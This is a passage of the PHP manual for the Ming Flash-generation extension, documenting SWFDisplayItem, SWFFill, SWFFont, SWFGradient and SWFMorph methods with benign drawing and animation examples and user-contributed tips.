  $i->rotateTo($rot);
  $i->scale($scale, $scale);

  // but the changes are local to the function, so we have to
  // return the changed object.  kinda weird..

  return $i;
}

function step($i)
{
  $oldrot = $i->rot;
  $i->rot = 19*$i->rot/20;
  $i->x = (19*$i->x + 1200)/20;
  $i->y = (19*$i->y + 800)/20;
  $i->s = (19*$i->s + 1.0)/20;

  $i->rotateTo($i->rot);
  $i->scaleTo($i->s, $i->s);
  $i->moveTo($i->x, $i->y);

  return $i;
}

// see?  it sure paid off in legibility:

$i1 = text(0xff, 0x33, 0x33, 0xff, 900, 1200, 800, 0.03, $thetext);
$i2 = text(0x00, 0x33, 0xff, 0x7f, -560, 1200, 800, 0.04, $thetext);
$i3 = text(0xff, 0xff, 0xff, 0x9f, 180, 1200, 800, 0.001, $thetext);

for ($i=1; $i<=100; ++$i) {
  $i1 = step($i1);
  $i2 = step($i2);
  $i3 = step($i3);

  $m->nextFrame();
}

header('Content-type: application/x-shockwave-flash');
$m->output();
?>

See Also

  • SWFDisplayItem::rotate() - Rotates in relative coordinates

User Contributed Notes

There are no user contributed notes for this page.


Scales the object in relative coordinates

  • « SWFDisplayItem::rotateTo
  • SWFDisplayItem::scaleTo »
  • PHP Manual
  • SWFDisplayItem
  • Scales the object in relative coordinates

SWFDisplayItem::scale

(PHP 5 <= 5.3.0, PECL ming SVN)

SWFDisplayItem::scale — Scales the object in relative coordinates

Description

void SWFDisplayItem::scale ( float $dx , float $dy )
Warning

This function is EXPERIMENTAL. The behaviour of this function, its name, and surrounding documentation may change without notice in a future release of PHP. This function should be used at your own risk.

swfdisplayitem::scale() scales the current object by (dx,dy) from its current size.

The object may be a swfshape(), a swfbutton(), a swftext() or a swfsprite() object. It must have been added using the swfmovie::add().

Return Values

No value is returned.

See Also

  • SWFDisplayItem::scaleTo() - Scales the object in global coordinates

User Contributed Notes

There are no user contributed notes for this page.


Scales the object in global coordinates

  • « SWFDisplayItem::scale
  • SWFDisplayItem::setDepth »
  • PHP Manual
  • SWFDisplayItem
  • Scales the object in global coordinates

SWFDisplayItem::scaleTo

(PHP 5 <= 5.3.0, PECL ming SVN)

SWFDisplayItem::scaleTo — Scales the object in global coordinates

Description

void SWFDisplayItem::scaleTo ( float $x [, float $y ] )
Warning

This function is EXPERIMENTAL. The behaviour of this function, its name, and surrounding documentation may change without notice in a future release of PHP. This function should be used at your own risk.

swfdisplayitem::scaleto() scales the current object to (x,y) in global coordinates.

The object may be a swfshape(), a swfbutton(), a swftext() or a swfsprite() object. It must have been added using the swfmovie::add().

Return Values

No value is returned.

See Also

  • SWFDisplayItem::scale() - Scales the object in relative coordinates

User Contributed Notes

Julien Séjourné 19-Jul-2004 02:23
It's good to know that when you do "$i->scaleTo(0,0)", it doesn't output an "empty object" ( nothing... ) on the screen, but the object with its original dimensions.
13-Sep-2003 04:43
after a shape etc. has been added, the refence to the DisplayItem is returned:
             $displayItem = $sprite->add($shape);
             $displayItem->scaleTo(0.1,0.1);

the above scales it to 0.1 of whatever its original size was


Sets z-order

  • « SWFDisplayItem::scaleTo
  • SWFDisplayItem::setMaskLevel »
  • PHP Manual
  • SWFDisplayItem
  • Sets z-order

SWFDisplayItem::setDepth

(PHP 5 <= 5.3.0, PECL ming SVN)

SWFDisplayItem::setDepth — Sets z-order

Description

void SWFDisplayItem::setDepth ( int $depth )
Warning

This function is EXPERIMENTAL. The behaviour of this function, its name, and surrounding documentation may change without notice in a future release of PHP. This function should be used at your own risk.

swfdisplayitem::setdepth() sets the object's z-order to depth. Depth defaults to the order in which instances are created (by adding a shape/text to a movie)- newer ones are on top of older ones. If two objects are given the same depth, only the later-defined one can be moved.

The object may be a swfshape(), a swfbutton(), a swftext() or a swfsprite() object. It must have been added using the swfmovie::add().

Return Values

No value is returned.

User Contributed Notes

There are no user contributed notes for this page.


Defines a MASK layer at level

  • « SWFDisplayItem::setDepth
  • SWFDisplayItem::setMatrix »
  • PHP Manual
  • SWFDisplayItem
  • Defines a MASK layer at level

SWFDisplayItem::setMaskLevel

(PHP 5 <= 5.3.0, PECL ming SVN)

SWFDisplayItem::setMaskLevel — Defines a MASK layer at level

Description

void SWFDisplayItem::setMaskLevel ( int $level )
Warning

This function is currently not documented; only its argument list is available.

Return Values

No value is returned.

User Contributed Notes

There are no user contributed notes for this page.


Sets the item's transform matrix

  • « SWFDisplayItem::setMaskLevel
  • SWFDisplayItem::setName »
  • PHP Manual
  • SWFDisplayItem
  • Sets the item's transform matrix

SWFDisplayItem::setMatrix

(PHP 5 <= 5.3.0, PECL ming SVN)

SWFDisplayItem::setMatrix — Sets the item's transform matrix

Description

void SWFDisplayItem::setMatrix ( float $a , float $b , float $c , float $d , float $x , float $y )
Warning

This function is currently not documented; only its argument list is available.

Return Values

No value is returned.

User Contributed Notes

There are no user contributed notes for this page.


Sets the object's name

  • « SWFDisplayItem::setMatrix
  • SWFDisplayItem::setRatio »
  • PHP Manual
  • SWFDisplayItem
  • Sets the object's name

SWFDisplayItem::setName

(PHP 5 <= 5.3.0, PECL ming SVN)

SWFDisplayItem::setName — Sets the object's name

Description

void SWFDisplayItem::setName ( string $name )
Warning

This function is EXPERIMENTAL. The behaviour of this function, its name, and surrounding documentation may change without notice in a future release of PHP. This function should be used at your own risk.

swfdisplayitem::setname() sets the object's name to name, for targetting with action script. Only useful on sprites.

The object may be a swfshape(), a swfbutton(), a swftext() or a swfsprite() object. It must have been added using the swfmovie::add().

Return Values

No value is returned.

User Contributed Notes

There are no user contributed notes for this page.


Sets the object's ratio

  • « SWFDisplayItem::setName
  • SWFDisplayItem::skewX »
  • PHP Manual
  • SWFDisplayItem
  • Sets the object's ratio

SWFDisplayItem::setRatio

(PHP 5 <= 5.3.0, PECL ming SVN)

SWFDisplayItem::setRatio — Sets the object's ratio

Description

void SWFDisplayItem::setRatio ( float $ratio )
Warning

This function is EXPERIMENTAL. The behaviour of this function, its name, and surrounding documentation may change without notice in a future release of PHP. This function should be used at your own risk.

swfdisplayitem::setratio() sets the object's ratio to ratio. Obviously only useful for morphs.

The object may be a swfshape(), a swfbutton(), a swftext() or a swfsprite() object. It must have been added using the swfmovie::add().

Return Values

No value is returned.

Examples

This simple example will morph nicely three concentric circles.

Example #1 swfdisplayitem::setname() example

<?php

$p = new SWFMorph();

$g = new SWFGradient();
$g->addEntry(0.0, 0, 0, 0);
$g->addEntry(0.16, 0xff, 0xff, 0xff);
$g->addEntry(0.32, 0, 0, 0);
$g->addEntry(0.48, 0xff, 0xff, 0xff);
$g->addEntry(0.64, 0, 0, 0);
$g->addEntry(0.80, 0xff, 0xff, 0xff);
$g->addEntry(1.00, 0, 0, 0);

$s = $p->getShape1();
$f = $s->addFill($g, SWFFILL_RADIAL_GRADIENT);
$f->scaleTo(0.05);
$s->setLeftFill($f);
$s->movePenTo(-160, -120);
$s->drawLine(320, 0);
$s->drawLine(0, 240);
$s->drawLine(-320, 0);
$s->drawLine(0, -240);

$g = new SWFGradient();
$g->addEntry(0.0, 0, 0, 0);
$g->addEntry(0.16, 0xff, 0, 0);
$g->addEntry(0.32, 0, 0, 0);
$g->addEntry(0.48, 0, 0xff, 0);
$g->addEntry(0.64, 0, 0, 0);
$g->addEntry(0.80, 0, 0, 0xff);
$g->addEntry(1.00, 0, 0, 0);

$s = $p->getShape2();
$f = $s->addFill($g, SWFFILL_RADIAL_GRADIENT);
$f->scaleTo(0.05);
$f->skewXTo(1.0);
$s->setLeftFill($f);
$s->movePenTo(-160, -120);
$s->drawLine(320, 0);
$s->drawLine(0, 240);
$s->drawLine(-320, 0);
$s->drawLine(0, -240);

$m = new SWFMovie();
$m->setDimension(320, 240);
$i = $m->add($p);
$i->moveTo(160, 120);

for ($n=0; $n<=1.001; $n+=0.01) {
    $i->setRatio($n);
    $m->nextFrame();
}

header('Content-type: application/x-shockwave-flash');
$m->output();
?>

User Contributed Notes

There are no user contributed notes for this page.


Sets the X-skew

  • « SWFDisplayItem::setRatio
  • SWFDisplayItem::skewXTo »
  • PHP Manual
  • SWFDisplayItem
  • Sets the X-skew

SWFDisplayItem::skewX

(PHP 5 <= 5.3.0, PECL ming SVN)

SWFDisplayItem::skewX — Sets the X-skew

Description

void SWFDisplayItem::skewX ( float $ddegrees )
Warning

This function is EXPERIMENTAL. The behaviour of this function, its name, and surrounding documentation may change without notice in a future release of PHP. This function should be used at your own risk.

swfdisplayitem::skewx() adds ddegrees to current x-skew.

The object may be a swfshape(), a swfbutton(), a swftext() or a swfsprite() object. It must have been added using the swfmovie::add().

Return Values

No value is returned.

See Also

  • SWFDisplayItem::skewXTo() - Sets the X-skew
  • SWFDisplayItem::skewY() - Sets the Y-skew
  • SWFDisplayItem::skewYTo() - Sets the Y-skew

User Contributed Notes

There are no user contributed notes for this page.


Sets the X-skew

  • « SWFDisplayItem::skewX
  • SWFDisplayItem::skewY »
  • PHP Manual
  • SWFDisplayItem
  • Sets the X-skew

SWFDisplayItem::skewXTo

(PHP 5 <= 5.3.0, PECL ming SVN)

SWFDisplayItem::skewXTo — Sets the X-skew

Description

void SWFDisplayItem::skewXTo ( float $degrees )
Warning

This function is EXPERIMENTAL. The behaviour of this function, its name, and surrounding documentation may change without notice in a future release of PHP. This function should be used at your own risk.

swfdisplayitem::skewxto() sets the x-skew to degrees. For degrees is 1.0, it means a 45-degree forward slant. More is more forward, less is more backward.

The object may be a swfshape(), a swfbutton(), a swftext() or a swfsprite() object. It must have been added using the swfmovie::add().

Return Values

No value is returned.

See Also

  • SWFDisplayItem::skewX() - Sets the X-skew
  • SWFDisplayItem::skewY() - Sets the Y-skew
  • SWFDisplayItem::skewYTo() - Sets the Y-skew

User Contributed Notes

There are no user contributed notes for this page.


Sets the Y-skew

  • « SWFDisplayItem::skewXTo
  • SWFDisplayItem::skewYTo »
  • PHP Manual
  • SWFDisplayItem
  • Sets the Y-skew

SWFDisplayItem::skewY

(PHP 5 <= 5.3.0, PECL ming SVN)

SWFDisplayItem::skewY — Sets the Y-skew

Description

void SWFDisplayItem::skewY ( float $ddegrees )
Warning

This function is EXPERIMENTAL. The behaviour of this function, its name, and surrounding documentation may change without notice in a future release of PHP. This function should be used at your own risk.

swfdisplayitem::skewy() adds ddegrees to current y-skew.

The object may be a swfshape(), a swfbutton(), a swftext() or a swfsprite() object. It must have been added using the swfmovie::add().

Return Values

No value is returned.

See Also

  • SWFDisplayItem::skewYTo() - Sets the Y-skew
  • SWFDisplayItem::skewX() - Sets the X-skew
  • SWFDisplayItem::skewXTo() - Sets the X-skew

User Contributed Notes

There are no user contributed notes for this page.


Sets the Y-skew

  • « SWFDisplayItem::skewY
  • SWFFill »
  • PHP Manual
  • SWFDisplayItem
  • Sets the Y-skew

SWFDisplayItem::skewYTo

(PHP 5 <= 5.3.0, PECL ming SVN)

SWFDisplayItem::skewYTo — Sets the Y-skew

Description

void SWFDisplayItem::skewYTo ( float $degrees )
Warning

This function is EXPERIMENTAL. The behaviour of this function, its name, and surrounding documentation may change without notice in a future release of PHP. This function should be used at your own risk.

swfdisplayitem::skewyto() sets the y-skew to degrees. For degrees is 1.0, it means a 45-degree forward slant. More is more upward, less is more downward.

The object may be a swfshape(), a swfbutton(), a swftext() or a swfsprite() object. It must have been added using the swfmovie::add().

Return Values

No value is returned.

See Also

  • SWFDisplayItem::skewY() - Sets the Y-skew
  • SWFDisplayItem::skewX() - Sets the X-skew
  • SWFDisplayItem::skewXTo() - Sets the X-skew

User Contributed Notes

There are no user contributed notes for this page.


The SWFFill class

(PHP 5 <= 5.3.0, PECL ming SVN)

Introduction

The SWFFill object allows you to transform (scale, skew, rotate) bitmap and gradient fills.

swffill objects are created by the SWFShape::addFill() method.

Class synopsis

SWFFill {
/* Methods */
void moveTo ( float $x , float $y )
void rotateTo ( float $angle )
void scaleTo ( float $x [, float $y ] )
void skewXTo ( float $x )
void skewYTo ( float $y )
}

Table of Contents

  • SWFFill::moveTo — Moves fill origin
  • SWFFill::rotateTo — Sets fill's rotation
  • SWFFill::scaleTo — Sets fill's scale
  • SWFFill::skewXTo — Sets fill x-skew
  • SWFFill::skewYTo — Sets fill y-skew

User Contributed Notes

There are no user contributed notes for this page.


Moves fill origin

  • « SWFFill
  • SWFFill::rotateTo »
  • PHP Manual
  • SWFFill
  • Moves fill origin

SWFFill::moveTo

(PHP 5 <= 5.3.0, PECL ming SVN)

SWFFill::moveTo — Moves fill origin

Description

void SWFFill::moveTo ( float $x , float $y )
Warning

This function is EXPERIMENTAL. The behaviour of this function, its name, and surrounding documentation may change without notice in a future release of PHP. This function should be used at your own risk.

Moves the fill origin to the given global coordinates.

Parameters

x

X-coordinate

y

Y-coordinate

Return Values

No value is returned.

User Contributed Notes

17-Jul-2003 09:05
onClipEvent()

At the mailinglist on www.opaque.net I found SWFDisplayItem->addAction,
which is defined in ming-0.2a/php_ext/ming-4.0.7.c
Seems to be the equivalent to the onClipEvent() function in ActionScript:

void SWFDisplayItem->addAction(SWFAction action, int flags)

flags for SWFDisplayItem_addAction as PHP-Constants:

SWFACTION_ONLOAD
SWFACTION_ENTERFRAME
SWFACTION_UNLOAD
SWFACTION_MOUSEMOVE
SWFACTION_MOUSEDOWN
SWFACTION_MOUSEUP
SWFACTION_KEYDOWN
SWFACTION_KEYUP
SWFACTION_DATA

The following might be the same as onClipEvent(data) inside $child:

$m = new SWFMovie();
...
$child = new SWFMovie();
...
// SWFMovie->add returns SWFDisplayItem:
$i = $m->add($child);
$i->addAction($action_script, SWFACTION_DATA);

Jan


Sets fill's rotation

  • « SWFFill::moveTo
  • SWFFill::scaleTo »
  • PHP Manual
  • SWFFill
  • Sets fill's rotation

SWFFill::rotateTo

(PHP 5 <= 5.3.0, PECL ming SVN)

SWFFill::rotateTo — Sets fill's rotation

Description

void SWFFill::rotateTo ( float $angle )
Warning

This function is EXPERIMENTAL. The behaviour of this function, its name, and surrounding documentation may change without notice in a future release of PHP. This function should be used at your own risk.

Sets the fill rotation to the given angle.

Parameters

angle

The rotation angle, in degrees.

Return Values

No value is returned.

User Contributed Notes

There are no user contributed notes for this page.


Sets fill's scale

  • « SWFFill::rotateTo
  • SWFFill::skewXTo »
  • PHP Manual
  • SWFFill
  • Sets fill's scale

SWFFill::scaleTo

(PHP 5 <= 5.3.0, PECL ming SVN)

SWFFill::scaleTo — Sets fill's scale

Description

void SWFFill::scaleTo ( float $x [, float $y ] )
Warning

This function is EXPERIMENTAL. The behaviour of this function, its name, and surrounding documentation may change without notice in a future release of PHP. This function should be used at your own risk.

Sets the fill scale to the given coordinates.

Parameters

x

X-coordinate

y

Y-coordinate

Return Values

No value is returned.

User Contributed Notes

There are no user contributed notes for this page.


Sets fill x-skew

  • « SWFFill::scaleTo
  • SWFFill::skewYTo »
  • PHP Manual
  • SWFFill
  • Sets fill x-skew

SWFFill::skewXTo

(PHP 5 <= 5.3.0, PECL ming SVN)

SWFFill::skewXTo — Sets fill x-skew

Description

void SWFFill::skewXTo ( float $x )
Warning

This function is EXPERIMENTAL. The behaviour of this function, its name, and surrounding documentation may change without notice in a future release of PHP. This function should be used at your own risk.

Sets the fill x-skew to x.

Parameters

x

When x is 1.0, it is a 45-degree forward slant. More is more forward, less is more backward.

Return Values

No value is returned.

See Also

  • SWFFill::skewYTo() - Sets fill y-skew

User Contributed Notes

There are no user contributed notes for this page.


Sets fill y-skew

  • « SWFFill::skewXTo
  • SWFFont »
  • PHP Manual
  • SWFFill
  • Sets fill y-skew

SWFFill::skewYTo

(PHP 5 <= 5.3.0, PECL ming SVN)

SWFFill::skewYTo — Sets fill y-skew

Description

void SWFFill::skewYTo ( float $y )
Warning

This function is EXPERIMENTAL. The behaviour of this function, its name, and surrounding documentation may change without notice in a future release of PHP. This function should be used at your own risk.

Sets the fill y-skew to y.

Parameters

y

When y is 1.0, it is a 45-degree upward slant. More is more upward, less is more downward.

Return Values

No value is returned.

See Also

  • SWFFill::skewXTo() - Sets fill x-skew

User Contributed Notes

There are no user contributed notes for this page.


The SWFFont class

(PHP 5 <= 5.3.0, PECL ming SVN)

Introduction

The SWFFont object represent a reference to the font definition, for us with SWFText::setFont() and SWFTextField::setFont().

Class synopsis

SWFFont {
/* Methods */
__construct ( string $filename )
float getAscent ( void )
float getDescent ( void )
float getLeading ( void )
string getShape ( int $code )
float getUTF8Width ( string $string )
float getWidth ( string $string )
}

Table of Contents

  • SWFFont::__construct — Loads a font definition
  • SWFFont::getAscent — Returns the ascent of the font, or 0 if not available
  • SWFFont::getDescent — Returns the descent of the font, or 0 if not available
  • SWFFont::getLeading — Returns the leading of the font, or 0 if not available
  • SWFFont::getShape — Returns the glyph shape of a char as a text string
  • SWFFont::getUTF8Width — Calculates the width of the given string in this font at full height
  • SWFFont::getWidth — Returns the string's width

User Contributed Notes

There are no user contributed notes for this page.


Loads a font definition

  • « SWFFont
  • SWFFont::getAscent »
  • PHP Manual
  • SWFFont
  • Loads a font definition

SWFFont::__construct

(PHP 5 <= 5.3.0, PECL ming SVN)

SWFFont::__construct — Loads a font definition

Description

SWFFont::__construct ( string $filename )
Warning

This function is EXPERIMENTAL. The behaviour of this function, its name, and surrounding documentation may change without notice in a future release of PHP. This function should be used at your own risk.

If filename is the name of an FDB file (i.e., it ends in ".fdb"), load the font definition found in said file. Otherwise, create a browser-defined font reference.

FDB ("font definition block") is a very simple wrapper for the SWF DefineFont2 block which contains a full description of a font. One may create FDB files from SWT Generator template files with the included makefdb utility- look in the util directory off the main ming distribution directory.

Browser-defined fonts don't contain any information about the font other than its name. It is assumed that the font definition will be provided by the movie player. The fonts _serif, _sans, and _typewriter should always be available. For example:

<?php
$f = newSWFFont("_sans");
?>
will give you the standard sans-serif font, probably the same as what you'd get with <font name="sans-serif"> in HTML.

User Contributed Notes

There are no user contributed notes for this page.


Returns the ascent of the font, or 0 if not available

  • « SWFFont::__construct
  • SWFFont::getDescent »
  • PHP Manual
  • SWFFont
  • Returns the ascent of the font, or 0 if not available

SWFFont::getAscent

(PHP 5 <= 5.3.0, PECL ming SVN)

SWFFont::getAscent — Returns the ascent of the font, or 0 if not available

Description

float SWFFont::getAscent ( void )
Warning

This function is currently not documented; only its argument list is available.

See Also

  • SWFFont::getDescent() - Returns the descent of the font, or 0 if not available

User Contributed Notes

There are no user contributed notes for this page.


Returns the descent of the font, or 0 if not available

  • « SWFFont::getAscent
  • SWFFont::getLeading »
  • PHP Manual
  • SWFFont
  • Returns the descent of the font, or 0 if not available

SWFFont::getDescent

(PHP 5 <= 5.3.0, PECL ming SVN)

SWFFont::getDescent — Returns the descent of the font, or 0 if not available

Description

float SWFFont::getDescent ( void )
Warning

This function is currently not documented; only its argument list is available.

See Also

  • SWFFont::getAscent() - Returns the ascent of the font, or 0 if not available

User Contributed Notes

There are no user contributed notes for this page.


Returns the leading of the font, or 0 if not available

  • « SWFFont::getDescent
  • SWFFont::getShape »
  • PHP Manual
  • SWFFont
  • Returns the leading of the font, or 0 if not available

SWFFont::getLeading

(PHP 5 <= 5.3.0, PECL ming SVN)

SWFFont::getLeading — Returns the leading of the font, or 0 if not available

Description

float SWFFont::getLeading ( void )
Warning

This function is currently not documented; only its argument list is available.

User Contributed Notes

There are no user contributed notes for this page.


Returns the glyph shape of a char as a text string

  • « SWFFont::getLeading
  • SWFFont::getUTF8Width »
  • PHP Manual
  • SWFFont
  • Returns the glyph shape of a char as a text string

SWFFont::getShape

(PHP 5 <= 5.3.0, PECL ming SVN)

SWFFont::getShape — Returns the glyph shape of a char as a text string

Description

string SWFFont::getShape ( int $code )
Warning

This function is currently not documented; only its argument list is available.

User Contributed Notes

There are no user contributed notes for this page.


Calculates the width of the given string in this font at full height

  • « SWFFont::getShape
  • SWFFont::getWidth »
  • PHP Manual
  • SWFFont
  • Calculates the width of the given string in this font at full height

SWFFont::getUTF8Width

(PHP 5 <= 5.3.0, PECL ming SVN)

SWFFont::getUTF8Width — Calculates the width of the given string in this font at full height

Description

float SWFFont::getUTF8Width ( string $string )
Warning

This function is currently not documented; only its argument list is available.

See Also

  • SWFFont::getWidth() - Returns the string's width

User Contributed Notes

There are no user contributed notes for this page.


Returns the string's width

  • « SWFFont::getUTF8Width
  • SWFFontChar »
  • PHP Manual
  • SWFFont
  • Returns the string's width

SWFFont::getWidth

(PHP 5 <= 5.3.0, PECL ming SVN)

SWFFont::getWidth — Returns the string's width

Description

float SWFFont::getWidth ( string $string )
Warning

This function is EXPERIMENTAL. The behaviour of this function, its name, and surrounding documentation may change without notice in a future release of PHP. This function should be used at your own risk.

swffont::getwidth() returns the string string's width, using font's default scaling. You'll probably want to use the swftext() version of this method which uses the text object's scale.

See Also

  • SWFFont::getUTF8Width() - Calculates the width of the given string in this font at full height

User Contributed Notes

There are no user contributed notes for this page.


The SWFFontChar class

(PHP 5 <= 5.3.0, PECL ming SVN)

Introduction

SWFFontChar.

Class synopsis

SWFFontChar {
/* Methods */
void addChars ( string $char )
void addUTF8Chars ( string $char )
}

Table of Contents

  • SWFFontChar::addChars — Adds characters to a font for exporting font
  • SWFFontChar::addUTF8Chars — Adds characters to a font for exporting font

User Contributed Notes

There are no user contributed notes for this page.


Adds characters to a font for exporting font

  • « SWFFontChar
  • SWFFontChar::addUTF8Chars »
  • PHP Manual
  • SWFFontChar
  • Adds characters to a font for exporting font

SWFFontChar::addChars

(PHP 5 <= 5.3.0, PECL ming SVN)

SWFFontChar::addChars — Adds characters to a font for exporting font

Description

void SWFFontChar::addChars ( string $char )
Warning

This function is currently not documented; only its argument list is available.

Return Values

No value is returned.

See Also

  • SWFFontChar::addUTF8Chars() - Adds characters to a font for exporting font

User Contributed Notes

There are no user contributed notes for this page.


Adds characters to a font for exporting font

  • « SWFFontChar::addChars
  • SWFGradient »
  • PHP Manual
  • SWFFontChar
  • Adds characters to a font for exporting font

SWFFontChar::addUTF8Chars

(PHP 5 <= 5.3.0, PECL ming SVN)

SWFFontChar::addUTF8Chars — Adds characters to a font for exporting font

Description

void SWFFontChar::addUTF8Chars ( string $char )
Warning

This function is currently not documented; only its argument list is available.

Return Values

No value is returned.

See Also

  • SWFFontChar::addChars() - Adds characters to a font for exporting font

User Contributed Notes

There are no user contributed notes for this page.


The SWFGradient class

(PHP 5 <= 5.3.0, PECL ming SVN)

Introduction

SWFGradient.

Class synopsis

SWFGradient {
/* Methods */
void addEntry ( float $ratio , int $red , int $green , int $blue [, int $alpha = 255 ] )
__construct ( void )
}

Table of Contents

  • SWFGradient::addEntry — Adds an entry to the gradient list
  • SWFGradient::__construct — Creates a gradient object

User Contributed Notes

mabuzzer at hotmail dot com 13-Mar-2002 07:49
Gradient fills are implemented in SWF as a color ramp, mapped onto a square from (-16384, -16384) to (16384, 16384) TWIPS.

The following code creates a movie, displaying a square with a gradient fill, correctly scaled to the size of the shape.

<?php

//Set the scale to TWIPS rather than PIXELS
ming_setscale(1.0);

//Create the movie
$m = new SWFMovie();
$m->setRate(12.0);
$m->setDimension(400,400);
$m->setBackground(0xff, 0xff, 0xff);

//Width and height of rectangle
$sx = 300;
$sy = 300;

//Create rectangle
$s = new SWFShape();

//Gradient file stuff here...
$g = new SWFGradient();
$g->addEntry(0.0, 0x00, 0x00, 0xff);    // Start off Blue
$g->addEntry(1.0, 0xff, 0xff, 0x00);    // Finish off Yellow

// Add gradient fill to the shape
$f = $s->addFill($g);

//Centre the gradient fill against the rectangle
$f->moveTo($sx/2, $sy/2);
//Scale it to the shape, so that the entire gradient fits inside the shape
$f->scaleTo($sx/32768, 1);

// Set the shapes fill to be the added gradient fill
$s->setRightFill($f);

//Draw the rectangle
$s->drawLine($sx, 0);
$s->drawLine(0, $sy);
$s->drawLine(-$sx, 0);
$s->drawLine(0, -$sy);

//Add the shape to the movie
$sh = $m->add($s);
$sh->moveTo(50, 50);

// Output the movie
header("Content-type: application/x-shockwave-flash");
$m->output();

?>

More info about this can be obtained from
http://www.openswf.org/spec/SWFfilereference.html#h4FillTypes


Adds an entry to the gradient list

  • « SWFGradient
  • SWFGradient::__construct »
  • PHP Manual
  • SWFGradient
  • Adds an entry to the gradient list

SWFGradient::addEntry

(PHP 5 <= 5.3.0, PECL ming SVN)

SWFGradient::addEntry — Adds an entry to the gradient list

Description

void SWFGradient::addEntry ( float $ratio , int $red , int $green , int $blue [, int $alpha = 255 ] )
Warning

This function is EXPERIMENTAL. The behaviour of this function, its name, and surrounding documentation may change without notice in a future release of PHP. This function should be used at your own risk.

swfgradient::addentry() adds an entry to the gradient list. ratio is a number between 0 and 1 indicating where in the gradient this color appears. Thou shalt add entries in order of increasing ratio.

red, green, blue is a color (RGB mode).

Return Values

No value is returned.

User Contributed Notes

jolyon at mways dot co dot uk 01-Feb-2003 04:19
You only appear to be able to add up to 8 entries per gradient


Creates a gradient object

  • « SWFGradient::addEntry
  • SWFMorph »
  • PHP Manual
  • SWFGradient
  • Creates a gradient object

SWFGradient::__construct

(PHP 5 <= 5.3.0, PECL ming SVN)

SWFGradient::__construct — Creates a gradient object

Description

SWFGradient::__construct ( void )
Warning

This function is EXPERIMENTAL. The behaviour of this function, its name, and surrounding documentation may change without notice in a future release of PHP. This function should be used at your own risk.

swfgradient() creates a new SWFGradient object.

After you've added the entries to your gradient, you can use the gradient in a shape fill with the swfshape::addfill() method.

SWFGradient has the following methods : swfgradient::addentry().

This simple example will draw a big black-to-white gradient as background, and a reddish disc in its center.

Example #1 swfgradient() example

<?php

  $m = new SWFMovie();
  $m->setDimension(320, 240);

  $s = new SWFShape();

  // first gradient- black to white
  $g = new SWFGradient();
  $g->addEntry(0.0, 0, 0, 0);
  $g->addEntry(1.0, 0xff, 0xff, 0xff);

  $f = $s->addFill($g, SWFFILL_LINEAR_GRADIENT);
  $f->scaleTo(0.01);
  $f->moveTo(160, 120);
  $s->setRightFill($f);
  $s->drawLine(320, 0);
  $s->drawLine(0, 240);
  $s->drawLine(-320, 0);
  $s->drawLine(0, -240);

  $m->add($s);

  $s = new SWFShape();

  // second gradient- radial gradient from red to transparent
  $g = new SWFGradient();
  $g->addEntry(0.0, 0xff, 0, 0, 0xff);
  $g->addEntry(1.0, 0xff, 0, 0, 0);

  $f = $s->addFill($g, SWFFILL_RADIAL_GRADIENT);
  $f->scaleTo(0.005);
  $f->moveTo(160, 120);
  $s->setRightFill($f);
  $s->drawLine(320, 0);
  $s->drawLine(0, 240);
  $s->drawLine(-320, 0);
  $s->drawLine(0, -240);

  $m->add($s);

  header('Content-type: application/x-shockwave-flash');
  $m->output();
?>

User Contributed Notes

There are no user contributed notes for this page.


The SWFMorph class

(PHP 5 <= 5.3.0, PECL ming SVN)

Introduction

The methods here are sort of weird. It would make more sense to just have newSWFMorph(shape1, shape2);, but as things are now, shape2 needs to know that it's the second part of a morph. (This, because it starts writing its output as soon as it gets drawing commands- if it kept its own description of its shapes and wrote on completion this and some other things would be much easier.)

Class synopsis

SWFMorph {
/* Methods */
__construct ( void )
SWFShape getShape1 ( void )
SWFShape getShape2 ( void )
}

Table of Contents

  • SWFMorph::__construct — Creates a new SWFMorph object
  • SWFMorph::getShape1 — Gets a handle to the starting shape
  • SWFMorph::getShape2 — Gets a handle to the ending shape

User Contributed Notes

o dot marce at free dot fr 01-Oct-2005 11:03
setLine() is mandatory for shape got with getShape1 and getShape2, otherwise you will get a "failed assertion"
dk dot php dot net dot nospam at emanuelgreisen dot dk 14-Feb-2005 07:57
If you call getShape1() twize (by mistake, when copy-pasting). ming-0.3_beta1 will segfault.


Creates a new SWFMorph object

  • « SWFMorph
  • SWFMorph::getShape1 »
  • PHP Manual
  • SWFMorph
  • Creates a new SWFMorph object

SWFMorph::__construct

(PHP 5 <= 5.3.0, PECL ming SVN)

SWFMorph::__construct — Creates a new SWFMorph object

Description

SWFMorph::__construct ( void )
Warning

This function is EXPERIMENTAL. The behaviour of this function, its name, and surrounding documentation may change without notice in a future release of PHP. This function should be used at your own risk.

Creates a new SWFMorph object.

Also called a "shape tween". This thing lets you make those tacky twisting things that make your computer choke. Oh, joy!

Examples

This simple example will morph a big red square into a smaller blue black-bordered square.

Example #1 swfmorph() example

<?php
  $p = new SWFMorph();

  $s = $p->getShape1();
  $s->setLine(0, 0, 0, 0);

  /* Note that this is backwards from normal shapes (left instead of right).
     I have no idea why, but this seems to work.. */

  $s->setLeftFill($s->addFill(0xff, 0, 0));
  $s->movePenTo(-1000,-1000);
  $s->drawLine(2000,0);
  $s->drawLine(0,2000);
  $s->drawLine(-2000,0);
  $s->drawLine(0,-2000);

  $s = $p->getShape2();
  $s->setLine(60,0,0,0);
  $s->setLeftFill($s->addFill(0, 0, 0xff));
  $s->movePenTo(0,-1000);
  $s->drawLine(1000,1000);
  $s->drawLine(-1000,1000);
  $s->drawLine(-1000,-1000);
  $s->drawLine(1000,-1000);

  $m = new SWFMovie();
  $m->setDimension(3000,2000);
  $m->setBackground(0xff, 0xff, 0xff);

  $i = $m->add($p);
  $i->moveTo(1500,1000);

  for ($r=0.0; $r<=1.0; $r+=0.1) {
    $i->setRatio($r);
    $m->nextFrame();
  }

  header('Content-type: application/x-shockwave-flash');
  $m->output();
?>

User Contributed Notes

mark omohundro, ajamyajax dot com 22-Feb-2009 07:07
<?php
  // with a few changes to the example above --
  // looks like SWFMorph() can also be used to DISSOLVE a shape...
  // Shape2's fill below is set to same movie setBackground() color,
  // and its setLine() parameter #1 for weight is set to zero.
  // smaller seems to look a little better with this also...

  $rbg = 0x66; // 102
  $gbg = 0x99; // 153
  $bbg = 0xCD; // 205

  $p = new SWFMorph();

  $s = $p->getShape1();
  $s->setLine(0, 0, 0, 0);
  $s->setLeftFill($s->addFill(0xff, 0, 0));
  $s->movePenTo(-1000,-1000);
  $s->drawLine(2000,0);
  $s->drawLine(0,2000);
  $s->drawLine(-2000,0);
  $s->drawLine(0,-2000);

  $s = $p->getShape2();
